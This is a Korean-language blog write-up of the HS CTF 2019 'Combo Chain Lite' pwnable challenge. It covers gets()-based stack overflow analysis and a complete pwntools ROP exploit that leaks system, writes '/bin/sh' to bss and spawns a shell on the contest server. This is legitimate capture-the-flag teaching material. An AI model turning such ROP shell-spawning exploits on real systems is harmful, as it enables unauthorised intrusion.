ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HS CTF 2019 <Combo Chain Lite> Write-Up
    WeekHack/Pwnable 2019. 6. 8. 10:52
    반응형
    SMALL

    안녕하세요. Luke입니다. HS CTF Write-Up을 몰아서 쓰고 있습니다. Combo Chain과는 다르게 Combo Chain Lite는 흔한 ROP, 아니 흔한 ROP보다도 쉬운 ROP였습니다. system함수의 주소를 알려주고 있었습니다.

    문제는 다음과 같습니다. 여기도 별 정보 없습니다.(HINT에 보면 ROP라고 나오긴 합니다.)

    파일은 64비트 리눅스 바이너리입니다.

     

    IDA로 열어보겠습니다.

    얘도 Return to Sender과 같이 vuln()함수를 main()함수에서 실행시켜 줍니다.

    그럼 vuln()함수를 열어봐야겠지요?

    system 함수를 첫 줄에서 printf로 출력해주고, gets로 입력해줍니다. system 함수 주소를 알려주니 문제가 조금 쉽겠군요.

     

    그럼 이제 메모리 보호 기술을 체크해보겠습니다.

    NX 하나 걸려있고 Relro는 Partial이라 크게 상관 안해도 될 것 같습니다.

     

    그러니 딱봐도 주어진 system 함수를 읽어와 ROP 후 해당 system 함수 주소로 "/bin/sh"를 실행시키면 쉘이 따일 것 같습니다.

     

    그럼 이제 메모리 구조를 파악해야겠지요?

    v1 변수가 0x8의 크기를 가지므로

    0x8(8) + SFP 0x4(8) + RET이므로

     

    system 주소를 RET에 넣어야하므로 16만큼 더미를 넣고 주소를 넣으면 될 것 같습니다.

    그걸 토대로 익스 코드를 짜보겠습니다.

     

    from pwn import *
      
    bina='./combo-chain-lite'
    #p=process(bina)
    p=remote('pwn.hsctf.com',3131)
    e=ELF(bina)
    libc=e.libc
    
    bss=e.bss()
    pr=0x00401273
    gets_plt=e.plt['gets']
    gets_got=e.got['gets']
    
    p.recvuntil(': ')
    sys=p.recv(14)
    log.success(sys)
    sys=int(sys,16)
    p.recvuntil(': ')
    
    pay="A"*16
    pay+=p64(pr)
    pay+=p64(bss)
    pay+=p64(gets_plt)
    
    pay+=p64(pr)
    pay+=p64(bss)
    pay+=p64(sys)
    
    p.sendline(pay)
    
    p.sendline('/bin/sh')
    
    p.interactive()

    그럼 이걸로 익스를 하면!

    다음과 같이 쉘이 따여 flag를 토해내게 됩니다.

    hsctf{wheeeeeee_that_was_fun}

     

    위히~~ 재밌었습니다~

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack